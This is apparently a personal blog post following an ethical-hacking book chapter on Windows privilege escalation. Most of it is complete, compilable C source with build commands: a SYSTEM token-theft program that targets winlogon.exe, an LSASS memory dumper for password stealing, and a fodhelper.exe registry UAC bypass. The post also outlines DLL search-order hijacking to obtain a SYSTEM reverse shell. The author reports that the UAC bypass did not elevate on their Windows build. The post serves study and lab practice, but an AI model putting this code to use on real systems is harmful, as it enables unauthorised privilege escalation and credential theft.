Continued series from the Malware Development for Ethical Hackers Book.
GitHub repo: EricTurner3 – Malware_Development.
This chapter contains methods to achieve persistence of malware in Windows.
Manipulating Access Tokens
Token Theft
The book provides a great demonstration of C code where the end user can pass a PID and it attempts to grab the token for that process and then opens up mspaint.exe with those privileges. I made a few adjustments. My code takes a snapshot of all running processes, searches for a specific process (in this case winlogon.exe, which should always be running as NT AUTHORITY\SYSTEM
, automatically grabs the PID and then spawns a command shell with elevated permissions. In this instance, the local admin account needs to run the executable, which then is able to escalate further to SYSTEM
. I attempted to run from a non-elevated account, and it fails to properly grab the privilege.
/*
PrivEsc - Token Theft
23 Jan 2025
Eric
To build: x86_64-w64-mingw32-gcc 04_token_theft.c -o RunAsAdmin.exe -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
*/
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
const char *processToSteal = "winlogon.exe"; // process to find to attempt to take
LPWSTR processToCreate = L"C:\\Windows\\System32\\cmd.exe"; // new process to create with the stolen token
// my custom code, find a specific process
DWORD findProcess(const char *procName) {
HANDLE hProcessSnap;
PROCESSENTRY32 pe32;
DWORD winlogonPID = 0;
// Take a snapshot of all processes in the system.
// https://learn.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-createtoolhelp32snapshot
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE) {
return 0;
}
pe32.dwSize = sizeof(PROCESSENTRY32);
// Retrieve information about the first process.
if (Process32First(hProcessSnap, &pe32)) {
do {
// Check if the process name matches (0 indicates identical)
if (_stricmp(pe32.szExeFile, procName) == 0) {
winlogonPID = pe32.th32ProcessID;
break; // Exit the loop once we find the process
}
} while (Process32Next(hProcessSnap, &pe32));
}
// Clean up the snapshot object.
CloseHandle(hProcessSnap);
return winlogonPID;
}
// set privilege
BOOL setPrivilege(LPCTSTR priv) {
HANDLE token;
TOKEN_PRIVILEGES tp;
LUID luid;
BOOL res = TRUE;
// takes the name of the privilege from arg and attempts to find it in system
// https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-lookupprivilegevaluew
if (!LookupPrivilegeValue(NULL, priv, &luid)) res = FALSE;
// attempt to open the proc token with the ability to adjust privs
// https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocesstoken
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &token)) res = FALSE;
// create a new token priv object and enable the privilege
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
// use the token priv object to enable the privilege
// https://learn.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-adjusttokenprivileges
if (!AdjustTokenPrivileges(token, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) res = FALSE;
// cleanup
CloseHandle(token);
printf(res ? "privilege enabled %s\n" : "failed to enable privilege %s \n", priv);
return res;
}
// get access token
HANDLE getToken(DWORD pid) {
HANDLE cToken = NULL;
HANDLE ph = NULL;
if (pid == 0) {
ph = GetCurrentProcess();
} else {
ph = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, TRUE, pid);
}
if (!ph) cToken = (HANDLE)NULL;
printf(ph ? "successfully get process handle :)\n" : "failed to get process handle :(\n");
BOOL res = OpenProcessToken(ph, MAXIMUM_ALLOWED, &cToken);
if (!res) cToken = (HANDLE)NULL;
printf((cToken != (HANDLE)NULL) ? "successfully get access token :)\n" : "failed to get access token :(\n");
return cToken;
}
// create process
BOOL createProcess(HANDLE token, LPCWSTR app) {
HANDLE dToken = NULL;
STARTUPINFOW si;
PROCESS_INFORMATION pi;
BOOL res = TRUE;
ZeroMemory(&si, sizeof(STARTUPINFOW));
ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
si.cb = sizeof(STARTUPINFOW);
// copy the arg access token and make a new access token with max allowed perms
// https://learn.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-duplicatetokenex
res = DuplicateTokenEx(token, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &dToken);
printf(res ? "process token duplicated\n" : "failed to duplicate process token\n");
// attempt to create the new process with token
// https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createprocesswithtokenw
res = CreateProcessWithTokenW(dToken, LOGON_WITH_PROFILE, app, NULL, 0, NULL, NULL, &si, &pi);
printf(res ? "process created\n" : "failed to create process\n");
return res;
}
int main(int argc, char** argv) {
if (!setPrivilege(SE_DEBUG_NAME)) return -1;
DWORD pid = findProcess(processToSteal); // take snapshot and find a specific process
HANDLE cToken = getToken(pid); // attempt to get token
if (!createProcess(cToken, processToCreate)) return -1;
return 0;
}
Password Stealing
It appears I was a bit ahead of the curve in the last section, as this topic now introduces scanning for a process. We can re-use a lot of our existing code from the token theft, including the findProcess and setPriv functions. Initiallly, I was not getting the dump file generated. I determined the path must exist, otherwise CreateFileW
cannot create a new dir, only the file. I added some extra printf statements for debugging in generateMiniDump()
.
/*
PrivEsc - LSASS Dump
23 Jan 2025
Eric
To build: x86_64-w64-mingw32-gcc 04_dump_lsass.c -o dump.exe -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -ldbghelp
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>
#include <dbghelp.h>
#pragma comment (lib, "dbghelp.lib")
const char *targetProcess = "lsass.exe"; // process to find
LPCWSTR dumpFile = L"C:\\Users\\Public\\Desktop\\lsass.dmp"; // where the proc dump should go, the dir should already exist, else CreateFile will fail
// my custom code, find a specific process
DWORD findProcess(const char *procName) {
HANDLE hProcessSnap;
PROCESSENTRY32 pe32;
DWORD winlogonPID = 0;
// Take a snapshot of all processes in the system.
// https://learn.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-createtoolhelp32snapshot
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE) {
return 0;
}
pe32.dwSize = sizeof(PROCESSENTRY32);
// Retrieve information about the first process.
if (Process32First(hProcessSnap, &pe32)) {
do {
// Check if the process name matches (0 indicates identical)
if (_stricmp(pe32.szExeFile, procName) == 0) {
winlogonPID = pe32.th32ProcessID;
break; // Exit the loop once we find the process
}
} while (Process32Next(hProcessSnap, &pe32));
}
// Clean up the snapshot object.
CloseHandle(hProcessSnap);
return winlogonPID;
}
// set privilege
BOOL setPrivilege(LPCTSTR priv) {
HANDLE token;
TOKEN_PRIVILEGES tp;
LUID luid;
BOOL res = TRUE;
// takes the name of the privilege from arg and attempts to find it in system
// https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-lookupprivilegevaluew
if (!LookupPrivilegeValue(NULL, priv, &luid)) res = FALSE;
// attempt to open the proc token with the ability to adjust privs
// https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocesstoken
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &token)) res = FALSE;
// create a new token priv object and enable the privilege
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
// use the token priv object to enable the privilege
// https://learn.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-adjusttokenprivileges
if (!AdjustTokenPrivileges(token, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) res = FALSE;
// cleanup
CloseHandle(token);
printf(res ? "privilege enabled %s\n" : "failed to enable privilege %s \n", priv);
return res;
}
// create minidump of lsass.exe
BOOL generateMiniDump() {
BOOL dumpSuccess = FALSE;
DWORD processID = findProcess(targetProcess);
HANDLE processHandle = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, 0, processID);
HANDLE outputHandle = CreateFileW(dumpFile, GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (processHandle && outputHandle != INVALID_HANDLE_VALUE) {
// dump proc with mem
// https://learn.microsoft.com/en-us/windows/win32/api/minidumpapiset/nf-minidumpapiset-minidumpwritedump
dumpSuccess = MiniDumpWriteDump(processHandle, processID, outputHandle, MiniDumpWithFullMemory, NULL, NULL, NULL);
printf(dumpSuccess ? "successfully dumped to lsass.dmp\n" : "failed to dump\n");
}
// error handle if the process is not found or an error in dumping the process
else{
if (processHandle == NULL) {
printf("Error: Unable to open process with ID %lu. Error code: %lu\n", processID, GetLastError());
}
if (outputHandle == INVALID_HANDLE_VALUE) {
printf("Error: Unable to create dump file. Error code: %lu\n", GetLastError());
}
}
return dumpSuccess;
}
int main(int argc, char** argv) {
if (!setPrivilege(SE_DEBUG_NAME)) return -1;
if (!generateMiniDump()) return -1;
return 0;
}
DLL Search Order Hijacking
This tactic seems to come up frequently, it also appeared in chapters 1 and 3. You can find my code where I previously used this exploit in the chapter 03 blog post, here.
The only thing different about this particular approach is that we attempt to find an application that runs as NT Authority\System
. Once one is found, we perform the same trick as before, where a DLL is replaced with our malicious DLL. It will then inherit the permissions of the account when our reverse shell is granted. The book uses Discord.exe
, which appears to use system privileges when running (for whatever reason).
Circumventing UAC
fodhelper.exe
This executable, found under C:\Windows\System32\fodhelper.exe
is utilized to help manage Optional Features in Windows. Booting the application up launches the Settings > System > Optional Features pane.
Using sigcheck.exe -a -m c:\\windows\\system32\\fodhelper.exe
on my Flare-VM Windows10 vm, it launches the SysInternal’s SigCheck utility. The manifest provides details that execution of this application requires admin privileges:

Using procmon, we can monitor what registry values the executable attempts to query. The book showcases a \Shell\Open\command
registry key that does not actually exist:

By creating a registry key here to spawn a command shell, it can spawn with elevated privileges.
/*
PrivEsc - Token Theft
25 Jan 2025
Eric
To build: x86_64-w64-mingw32-gcc 04_uac_bypass.c -o tetris.exe -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
*/
#include <windows.h>
#include <stdio.h>
int main() {
HKEY registryKey;
DWORD disposition;
const char* registryPath = "Software\\Classes\\ms-settings\\Shell\\Open\\command";
const char* command = "cmd /c start C:\\Windows\\System32\\cmd.exe"; // default program
const char* delegateExecute = "";
// Attempt to open the registry key
// https://learn.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regcreatekeyexw
// disposition is set but never seems to be read from or used
LSTATUS status = RegCreateKeyEx(HKEY_CURRENT_USER, (LPCSTR)registryPath, 0, NULL, 0, KEY_WRITE, NULL, ®istryKey, &disposition);
printf(status != ERROR_SUCCESS ? "Failed to open or create the registry key.\n" : "Successfully created the registry key.\n");
// sets the default value to our command
status = RegSetValueEx(registryKey, "", 0, REG_SZ, (unsigned char*)command, strlen(command));
printf(status != ERROR_SUCCESS ? "Failed to set the registry value.\n" : "Successfully set the registry value.\n");
// creates a DelegateExecute value set to null
status = RegSetValueEx(registryKey, "DelegateExecute", 0, REG_SZ, (unsigned char*)delegateExecute, strlen(delegateExecute));
printf(status != ERROR_SUCCESS ? "Failed to set the registry value: DelegateExecute.\n" : "Successfully set the registry value: DelegateExecute.\n");
// Close the registry key handle
RegCloseKey(registryKey);
// Start the fodhelper.exe program
SHELLEXECUTEINFO shellExecuteInfo = { sizeof(shellExecuteInfo) };
shellExecuteInfo.lpVerb = "runas";
shellExecuteInfo.lpFile = "C:\\Windows\\System32\\fodhelper.exe";
shellExecuteInfo.hwnd = NULL;
shellExecuteInfo.nShow = SW_NORMAL;
if (!ShellExecuteEx(&shellExecuteInfo)) {
DWORD error = GetLastError();
printf (error == ERROR_CANCELLED ? "The user refused to allow privilege elevation.\n" : "Unexpected error! Error code: %ld\n", error);
} else {
printf("Successfully created the process\n");
}
return 0;
}
Per this blogpost, if Windows Defender is enabled, the modification of the registry for UAC is flagged as Win32/UACBypassExp
and can be removed. The author appeared to be on a Win10 1903 build. I am currently on 22H2, 1904.3803. I tried a few methods for this, it does write the command to the registry, but the command window that spawns is still non-privileged. Changing the command to cmd /c powershell.exe
further confirms the full command does not seem to run, it spawns the cmd.exe
but powershell.exe
never boots. Will have to do more investigation into if this was finally patched. Most articles about this exploit are a few years old.